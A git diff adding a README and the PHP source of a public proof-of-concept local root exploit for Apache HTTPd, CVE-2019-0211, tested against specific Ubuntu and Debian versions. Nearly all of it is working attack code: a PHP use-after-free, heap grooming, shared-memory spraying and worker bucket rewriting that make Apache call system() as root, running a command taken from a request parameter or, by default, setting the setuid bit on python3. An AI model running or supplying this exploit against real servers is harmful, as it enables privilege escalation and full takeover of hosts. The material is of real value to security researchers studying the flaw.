diff --git a/CVE-2019-0211-apache/README.md b/CVE-2019-0211-apache/README.md
new file mode 100644
index 0000000..1ecc25c
--- /dev/null
+++ b/CVE-2019-0211-apache/README.md
@@ -0,0 +1,25 @@
+# CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
+
+This is a local root exploit for Apache HTTPd.
+Details [here](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html).
+This is a POC. It might fail for a dozen of reasons. PR welcome.
+
+# Targets
+
+The exploit has been tested and works on:
+
+#### Ubuntu 18.04.2 LTS
+PHP : 7.1.27-1 / 7.2.15-0 / 7.3.3-1
+Apache : Apache/2.4.29 (Ubuntu), build 2018-03-02T02:19:31
+
+#### Ubuntu 16.04.6 LTS
+PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
+Apache : Apache/2.4.18 (Ubuntu), build 2016-04-15T18:00:57
+
+#### Debian GNU/Linux 9.8 (stretch)
+PHP : 7.1.27-1 / 7.2.16-1 / 7.3.3-1
+Apache : Apache/2.4.25 (Debian), build 2018-11-03T18:46:19
+(latest version when debian-security repo is disabled)
+
+From:https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache
+
diff --git a/CVE-2019-0211-apache/cfreal-carpediem.php b/CVE-2019-0211-apache/cfreal-carpediem.php
new file mode 100644
index 0000000..8781995
--- /dev/null
+++ b/CVE-2019-0211-apache/cfreal-carpediem.php
@@ -0,0 +1,797 @@
+ &$y]);
+}
+
+# In order to read/write what comes after in memory, we need to UAF a string so
+# that we can control its size and make in-place edition.
+# An easy way to do that is to replace the string by a timelib_rel_time
+# structure of which the first bytes can be reached by the (y, m, d, h, i, s)
+# properties of the DateInterval object.
+#
+# Steps:
+# - Create a base object (Z)
+# - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
+# - Create DateInterval object ($place) meant to be unset and filled by another
+# - Trigger the UAF by unsetting $y[0], which is still reachable using $this
+# - Unset $place: at this point, if we create a new DateInterval object, it will
+# replace $place in memory
+# - Create a string ($holder) that fills $place's timelib_rel_time structure
+# - Allocate a new DateInterval object: its timelib_rel_time structure will
+# end up in place of abc
+# - Now we can control $this->abc's zend_string structure entirely using
+# y, m, d etc.
+# - Increase abc's size so that we can read/write memory that comes after it,
+# especially the shared memory block
+# - Find out all_buckets' position by finding a memory region that matches the
+# mutex->meth structure
+# - Compute the bucket index required to reach the SHM and get an arbitrary
+# function call
+# - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
+# bucket
+class Z implements JsonSerializable
+{
+ public function jsonSerialize()
+ {
+ global $y, $addresses, $workers_pids;
+
+ #
+ # Setup memory
+ #
+ o('Triggering UAF');
+ o(' Creating room and filling empty spaces');
+
+ # Fill empty blocks to make sure our allocations will be contiguous
+ # I: Since a lot of allocations/deallocations happen before the script
+ # is ran, two variables instanciated at the same time might not be
+ # contiguous: this can be a problem for a lot of reasons.
+ # To avoid this, we instanciate several DateInterval objects. These
+ # objects will fill a lot of potentially non-contiguous memory blocks,
+ # ensuring we get "fresh memory" in upcoming allocations.
+ $contiguous = [];
+ for($i=0;$i<10;$i++)
+ $contiguous[] = new DateInterval('PT1S');
+
+ # Create some space for our UAF blocks not to get overwritten
+ # I: A PHP object is a combination of a lot of structures, such as
+ # zval, zend_object, zend_object_handlers, zend_string, etc., which are
+ # all allocated, and freed when the object is destroyed.
+ # After the UAF is triggered on the object, all the structures that are
+ # used to represent it will be marked as free.
+ # If we create other variables afterwards, those variables might be
+ # allocated in the object's previous memory regions, which might pose
+ # problems for the rest of the exploitation.
+ # To avoid this, we allocate a lot of objects before the UAF, and free
+ # them afterwards. Since PHP's heap is LIFO, when we create other vars,
+ # they will take the place of those objects instead of the object we
+ # are triggering the UAF on. This means our object is "shielded" and
+ # we don't have to worry about breaking it.
+ $room = [];
+ for($i=0;$i<10;$i++)
+ $room[] = new Z();
+
+ # Build string meant to fill old DateInterval's timelib_rel_time
+ # I: ptr2str's name is unintuitive here: we just want to allocate a
+ # zend_string of size 78.
+ $_protector = ptr2str(0, 78);
+
+ o(' Allocating $abc and $p');
+
+ # Create ABC
+ # I: This is the variable we will use to R/W memory afterwards.
+ # After we free the Z object, we'll make sure abc is overwritten by a
+ # timelib_rel_time structure under our control. The first 8*8 = 64 bytes
+ # of this structure can be modified easily, meaning we can change the
+ # size of abc. This will allow us to read/write memory after abc.
+ $this->abc = ptr2str(0, 79);
+
+ # Create $p meant to protect $this's blocks
+ # I: Right after we trigger the UAF, we will unset $p.
+ # This means that the timelib_rel_time structure (TRT) of this object
+ # will be freed. We will then allocate a string ($protector) of the same
+ # size as TRT. Since PHP's heap is LIFO, the string will take the place
+ # of the now-freed TRT in memory.
+ # Then, we create a new DateInterval object ($x). From the same
+ # assumption, every structure constituting this new object will take the
+ # place of the previous structure. Nevertheless, since TRT's memory
+ # block has already been replaced by $protector, the new TRT will be put
+ # in the next free blocks of the same size, which happens to be $abc
+ # (remember, |abc| == |timelib_rel_time|).
+ # We now have the following situation: $x is a DateInterval object whose
+ # internal TRT structure has the same address as $abc's zend_string.
+ $p = new DateInterval('PT1S');
+
+ #
+ # Trigger UAF
+ #
+
+ o(' Unsetting both variables and setting $protector');
+ # UAF here, $this is usable despite being freed
+ unset($y[0]);
+ # Protect $this's freed blocks
+ unset($p);
+
+ # Protect $p's timelib_rel_time structure
+ $protector = ".$_protector";
+ # !!! This is only required for apache
+ # Got no idea as to why there is an extra deallocation (?)
+ if(version_compare(PHP_VERSION, '7.2') >= 0)
+ $room[] = "!$_protector";
+
+ o(' Creating DateInterval object');
+ # After this line:
+ # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
+ # We can control the structure of $this->abc and therefore read/write
+ # anything that comes after it in memory by changing its size and
+ # making in-place edits using $this->abc[$position] = $char
+ $x = new DateInterval('PT1S');
+ # zend_string.refcount = 0
+ # It will get incremented at some point, and if it is > 1,
+ # zend_assign_to_string_offset() will try to duplicate it before making
+ # the in-place replacement
+ $x->y = 0x00;
+ # zend_string.len
+ $x->d = 0x100;
+ # zend_string.val[0-4]
+ $x->h = 0x13121110;
+
+ # Verify UAF was successful
+ # We modified stuff via $x; they should be visible by $this->abc, since
+ # they are at the same memory location.
+ if(!(
+ strlen($this->abc) === $x->d &&
+ $this->abc[0] == "\x10" &&
+ $this->abc[1] == "\x11" &&
+ $this->abc[2] == "\x12" &&
+ $this->abc[3] == "\x13"
+ ))
+ {
+ o('UAF failed, exiting.');
+ exit();
+ }
+ o('UAF successful.');
+ o('');
+
+ # Give us some room
+ # I: As indicated before, just unset a lot of stuff so that next allocs
+ # don't break our fragile UAFd structure.
+ unset($room);
+
+ #
+ # Setup the R/W primitive
+ #
+
+ # We control $abc's internal zend_string structure, therefore we can R/W
+ # the shared memory block (SHM), but for that we need to know the
+ # position of $abc in memory
+ # I: We know the absolute position of the SHM, so we need to need abc's
+ # as well, otherwise we cannot compute the offset
+
+ # Assuming the allocation was contiguous, memory looks like this, with
+ # 0x70-sized fastbins:
+ # [zend_string:abc]
+ # [zend_string:protector]
+ # [FREE#1]
+ # [FREE#2]
+ # Therefore, the address of the 2nd free block is in the first 8 bytes
+ # of the first block: 0x70 * 2 - 24
+ $address = str2ptr($this->abc, 0x70 * 2 - 24);
+ # The address we got points to FREE#2, hence we're |block| * 3 higher in
+ # memory
+ $address = $address - 0x70 * 3;
+ # The beginning of the string is 24 bytes after its origin
+ $address = $address + 24;
+ o('Address of $abc: 0x' . dechex($address));
+ o('');
+
+ # Compute the size required for our string to include the whole SHM and
+ # apache's memory region
+ $distance =
+ max($addresses['apache'][1], $addresses['shm'][1]) -
+ $address
+ ;
+ $x->d = $distance;
+
+ # We can now read/write in the whole SHM and apache's memory region.
+
+ #
+ # Find all_buckets in memory
+ #
+
+ # We are looking for a structure s.t.
+ # |all_buckets, mutex| = 0x10
+ # |mutex, meth| = 0x8
+ # all_buckets is in apache's memory region
+ # mutex is in apache's memory region
+ # meth is in libaprR's memory region
+ # meth's function pointers are in libaprX's memory region
+ o('Looking for all_buckets in memory');
+ $all_buckets = 0;
+
+ for(
+ $i = $addresses['apache'][0] + 0x10;
+ $i < $addresses['apache'][1] - 0x08;
+ $i += 8
+ )
+ {
+ # mutex
+ $mutex = $pointer = str2ptr($this->abc, $i - $address);
+ if(!in($pointer, $addresses['apache']))
+ continue;
+
+
+ # meth
+ $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
+ if(!in($pointer, $addresses['libaprR']))
+ continue;
+
+ o(' [&mutex]: 0x' . dechex($i));
+ o(' [mutex]: 0x' . dechex($mutex));
+ o(' [meth]: 0x' . dechex($meth));
+
+
+ # meth->*
+ # flags
+ if(str2ptr($this->abc, $pointer - $address) != 0)
+ continue;
+ # methods
+ for($j=0;$j<7;$j++)
+ {
+ $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
+ if(!in($m, $addresses['libaprX']))
+ continue 2;
+ o(' [*]: 0x' . dechex($m));
+ }
+
+ $all_buckets = $i - 0x10;
+ o('all_buckets = 0x' . dechex($all_buckets));
+ break;
+ }
+
+ if(!$all_buckets)
+ {
+ o('Unable to find all_buckets');
+ exit();
+ }
+
+ o('');
+
+ # The address of all_buckets will change when apache is gracefully
+ # restarted. This is a problem because we need to know all_buckets's
+ # address in order to make all_buckets[some_index] point to a memory
+ # region we control.
+
+ #
+ # Compute potential bucket indexes and their addresses
+ #
+
+ o('Computing potential bucket indexes and addresses');
+
+ # Since we have sizeof($workers_pid) MPM workers, we can fill the rest
+ # of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
+ # with data we like. We keep the one at the top to store our payload.
+ # The rest is sprayed with the address of our payload.
+
+ $size_prefork_child_bucket = 24;
+ $size_worker_score = 264;
+ # I get strange errors if I use every "free" item, so I leave twice as
+ # many items free. I'm guessing upon startup some
+ $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
+ $spray_max = $addresses['shm'][1];
+ $spray_min = $spray_max - $spray_size;
+
+ $spray_middle = (int) (($spray_min + $spray_max) / 2);
+ $bucket_index_middle = (int) (
+ - ($all_buckets - $spray_middle) /
+ $size_prefork_child_bucket
+ );
+
+ #
+ # Build payload
+ #
+
+ # A worker_score structure was kept empty to put our payload in
+ $payload_start = $spray_min - $size_worker_score;
+
+ $z = ptr2str(0);
+
+ # Payload maxsize 264 - 112 = 152
+ # Offset 8 cannot be 0, but other than this you can type whatever
+ # command you want
+ $bucket = isset($_REQUEST['cmd']) ?
+ $_REQUEST['cmd'] :
+ "chmod +s /usr/bin/python3.5";
+
+ if(strlen($bucket) > $size_worker_score - 112)
+ {
+ o(
+ 'Payload size is bigger than available space (' .
+ ($size_worker_score - 112) .
+ '), exiting.'
+ );
+ exit();
+ }
+ # Align
+ $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
+
+ # apr_proc_mutex_unix_lock_methods_t
+ $meth =
+ $z .
+ $z .
+ $z .
+ $z .
+ $z .
+ $z .
+ # child_init
+ ptr2str($addresses['zend_object_std_dtor'])
+ ;
+
+ # The second pointer points to meth, and is used before reaching the
+ # arbitrary function call
+ # The third one and the last one are both used by the function call
+ # zend_object_std_dtor(object) => ... => system(&arData[0]->val)
+ $properties =
+ # refcount
+ ptr2str(1) .
+ # u-nTableMask meth
+ ptr2str($payload_start + strlen($bucket)) .
+ # Bucket arData
+ ptr2str($payload_start) .
+ # uint32_t nNumUsed;
+ ptr2str(1, 4) .
+ # uint32_t nNumOfElements;
+ ptr2str(0, 4) .
+ # uint32_t nTableSize
+ ptr2str(0, 4) .
+ # uint32_t nInternalPointer
+ ptr2str(0, 4) .
+ # zend_long nNextFreeElement
+ $z .
+ # dtor_func_t pDestructor
+ ptr2str($addresses['system'])
+ ;
+
+ $payload =
+ $bucket .
+ $meth .
+ $properties
+ ;
+
+ # Write the payload
+
+ o('Placing payload at address 0x' . dechex($payload_start));
+
+ $p = $payload_start - $address;
+ for(
+ $i = 0;
+ $i < strlen($payload);
+ $i++
+ )
+ {
+ $this->abc[$p+$i] = $payload[$i];
+ }
+
+ # Fill the spray area with a pointer to properties
+
+ $properties_address = $payload_start + strlen($bucket) + strlen($meth);
+ o('Spraying pointer');
+ o(' Address: 0x' . dechex($properties_address));
+ o(' From: 0x' . dechex($spray_min));
+ o(' To: 0x' . dechex($spray_max));
+ o(' Size: 0x' . dechex($spray_size));
+ o(' Covered: 0x' . dechex($spray_size * count($workers_pids)));
+ o(' Apache: 0x' . dechex(
+ $addresses['apache'][1] -
+ $addresses['apache'][0]
+ ));
+
+ $s_properties_address = ptr2str($properties_address);
+
+ for(
+ $i = $spray_min;
+ $i < $spray_max;
+ $i++
+ )
+ {
+ $this->abc[$i - $address] = $s_properties_address[$i % 8];
+ }
+ o('');
+
+ # Find workers PID in the SHM: it indicates the beginning of their
+ # process_score structure. We can then change process_score.bucket to
+ # the index we computed. When apache reboots, it will use
+ # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
+ # which means we control the whole apr_proc_mutex_t structure.
+ # This structure contains pointers to multiple functions, especially
+ # mutex->meth->child_init(), which will be called before privileges
+ # are dropped.
+ # We do this for every worker PID, incrementing the bucket index so that
+ # we cover a bigger range.
+
+ o('Iterating in SHM to find PIDs...');
+
+ # Number of bucket indexes covered by our spray
+ $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
+ # Number of bucket indexes covered by our spray and the PS structures
+ $total_nb_buckets = $spray_nb_buckets * count($workers_pids);
+ # First bucket index to handle
+ $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
+
+ # Iterate over every process_score structure until we find every PID or
+ # we reach the end of the SHM
+ for(
+ $p = $addresses['shm'][0] + 0x20;
+ $p < $addresses['shm'][1] && count($workers_pids) > 0;
+ $p += 0x24
+ )
+ {
+ $l = $p - $address;
+ $current_pid = str2ptr($this->abc, $l, 4);
+ o('Got PID: ' . $current_pid);
+ # The PID matches one of the workers
+ if(in_array($current_pid, $workers_pids))
+ {
+ unset($workers_pids[$current_pid]);
+ o(' PID matches');
+ # Update bucket address
+ $s_bucket_index = pack('l', $bucket_index);
+ $this->abc[$l + 0x20] = $s_bucket_index[0];
+ $this->abc[$l + 0x21] = $s_bucket_index[1];
+ $this->abc[$l + 0x22] = $s_bucket_index[2];
+ $this->abc[$l + 0x23] = $s_bucket_index[3];
+ o(' Changed bucket value to ' . $bucket_index);
+ $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
+ $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
+ o(' Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
+ # This bucket range is covered, go to the next one
+ $bucket_index += $spray_nb_buckets;
+ }
+ }
+
+ if(count($workers_pids) > 0)
+ {
+ o(
+ 'Unable to find PIDs ' .
+ implode(', ', $workers_pids) .
+ ' in SHM, exiting.'
+ );
+ exit();
+ }
+
+ o('');
+ o('EXPLOIT SUCCESSFUL.');
+ o('Await 6:25AM.');
+
+ return 0;
+ }
+}
+
+function o($msg)
+{
+ # No concatenation -> no string allocation
+ print($msg);
+ print("\n");
+}
+
+function ptr2str($ptr, $m=8)
+{
+ $out = "";
+ for ($i=0; $i<$m; $i++)
+ {
+ $out .= chr($ptr & 0xff);
+ $ptr >>= 8;
+ }
+ return $out;
+}
+
+function str2ptr(&$str, $p, $s=8)
+{
+ $address = 0;
+ for($j=$s-1;$j>=0;$j--)
+ {
+ $address <<= 8;
+ $address |= ord($str[$p+$j]);
+ }
+ return $address;
+}
+
+function in($i, $range)
+{
+ return $i >= $range[0] && $i < $range[1];
+}
+
+/**
+ * Finds the offset of a symbol in a file.
+ */
+function find_symbol($file, $symbol)
+{
+ $elf = file_get_contents($file);
+ $e_shoff = str2ptr($elf, 0x28);
+ $e_shentsize = str2ptr($elf, 0x3a, 2);
+ $e_shnum = str2ptr($elf, 0x3c, 2);
+
+ $dynsym_off = 0;
+ $dynsym_sz = 0;
+ $dynstr_off = 0;
+
+ for($i=0;$i<$e_shnum;$i++)
+ {
+ $offset = $e_shoff + $i * $e_shentsize;
+ $sh_type = str2ptr($elf, $offset + 0x04, 4);
+
+ $SHT_DYNSYM = 11;
+ $SHT_SYMTAB = 2;
+ $SHT_STRTAB = 3;
+
+ switch($sh_type)
+ {
+ case $SHT_DYNSYM:
+ $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
+ $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
+ break;
+ case $SHT_STRTAB:
+ case $SHT_SYMTAB:
+ if(!$dynstr_off)
+ $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
+ break;
+ }
+
+ }
+
+ if(!($dynsym_off && $dynsym_sz && $dynstr_off))
+ exit('.');
+
+ $sizeof_Elf64_Sym = 0x18;
+
+ for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
+ {
+ $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
+ $st_name = str2ptr($elf, $offset, 4);
+
+ if(!$st_name)
+ continue;
+
+ $offset_string = $dynstr_off + $st_name;
+ $end = strpos($elf, "\x00", $offset_string) - $offset_string;
+ $string = substr($elf, $offset_string, $end);
+
+ if($string == $symbol)
+ {
+ $st_value = str2ptr($elf, $offset + 0x8, 8);
+ return $st_value;
+ }
+ }
+
+ die('Unable to find symbol ' . $symbol);
+}
+
+# Obtains the addresses of the shared memory block and some functions through
+# /proc/self/maps
+# This is hacky as hell.
+function get_all_addresses()
+{
+ $addresses = [];
+ $data = file_get_contents('/proc/self/maps');
+ $follows_shm = false;
+
+ foreach(explode("\n", $data) as $line)
+ {
+ if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
+ {
+ $line = explode(' ', $line)[0];
+ $bounds = array_map('hexdec', explode('-', $line));
+ $msize = $bounds[1] - $bounds[0];
+ if ($msize >= 0x10000 && $msize <= 0x16000)
+ {
+ $addresses['shm'] = $bounds;
+ $follows_shm = true;
+ }
+ }
+ if(
+ preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
+ strpos($line, 'r-xp')
+ )
+ {
+ $offset = find_symbol($matches[1], 'system');
+ $line = explode(' ', $line)[0];
+ $line = hexdec(explode('-', $line)[0]);
+ $addresses['system'] = $line + $offset;
+ }
+ if(
+ strpos($line, 'libapr-1.so') &&
+ strpos($line, 'r-xp')
+ )
+ {
+ $line = explode(' ', $line)[0];
+ $bounds = array_map('hexdec', explode('-', $line));
+ $addresses['libaprX'] = $bounds;
+ }
+ if(
+ strpos($line, 'libapr-1.so') &&
+ strpos($line, 'r--p')
+ )
+ {
+ $line = explode(' ', $line)[0];
+ $bounds = array_map('hexdec', explode('-', $line));
+ $addresses['libaprR'] = $bounds;
+ }
+ # Apache's memory block is between the SHM and ld.so
+ # Sometimes some rwx region gets mapped; all_buckets cannot be in there
+ # but we include it anyways for the sake of simplicity
+ if(
+ (
+ strpos($line, 'rw-p') ||
+ strpos($line, 'rwxp')
+ ) &&
+ $follows_shm
+ )
+ {
+ if(strpos($line, '/lib'))
+ {
+ $follows_shm = false;
+ continue;
+ }
+ $line = explode(' ', $line)[0];
+ $bounds = array_map('hexdec', explode('-', $line));
+ if(!array_key_exists('apache', $addresses))
+ $addresses['apache'] = $bounds;
+ else if($addresses['apache'][1] == $bounds[0])
+ $addresses['apache'][1] = $bounds[1];
+ else
+ $follows_shm = false;
+ }
+ if(
+ preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
+ strpos($line, 'r-xp')
+ )
+ {
+ $offset = find_symbol($matches[1], 'zend_object_std_dtor');
+ $line = explode(' ', $line)[0];
+ $line = hexdec(explode('-', $line)[0]);
+ $addresses['zend_object_std_dtor'] = $line + $offset;
+ }
+ }
+
+ $expected = [
+ 'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
+ ];
+ $missing = array_diff($expected, array_keys($addresses));
+
+ if($missing)
+ {
+ o(
+ 'The following addresses were not determined by parsing ' .
+ '/proc/self/maps: ' . implode(', ', $missing)
+ );
+ exit(0);
+ }
+
+
+ o('PID: ' . getmypid());
+ o('Fetching addresses');
+
+ foreach($addresses as $k => $a)
+ {
+ if(!is_array($a))
+ $a = [$a];
+ o(' ' . $k . ': ' . implode('-0x', array_map(function($z) {
+ return '0x' . dechex($z);
+ }, $a)));
+ }
+ o('');
+
+ return $addresses;
+}
+
+# Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
+# matching the cmdline and the UID
+function get_workers_pids()
+{
+ o('Obtaining apache workers PIDs');
+ $pids = [];
+ $cmd = file_get_contents('/proc/self/cmdline');
+ $processes = glob('/proc/*');
+ foreach($processes as $process)
+ {
+ if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
+ continue;
+ $pid = (int) $match[1];
+ if(
+ !is_readable($process . '/cmdline') ||
+ !is_readable($process . '/status')
+ )
+ continue;
+ if($cmd !== file_get_contents($process . '/cmdline'))
+ continue;
+
+ $status = file_get_contents($process . '/status');
+ foreach(explode("\n", $status) as $line)
+ {
+ if(
+ strpos($line, 'Uid:') === 0 &&
+ preg_match('#\b' . posix_getuid() . '\b#', $line)
+ )
+ {
+ o(' Found apache worker: ' . $pid);
+ $pids[$pid] = $pid;
+ break;
+ }
+
+ }
+ }
+
+ o('Got ' . sizeof($pids) . ' PIDs.');
+ o('');
+
+ return $pids;
+}
+
+$addresses = get_all_addresses();
+$workers_pids = get_workers_pids();
+real();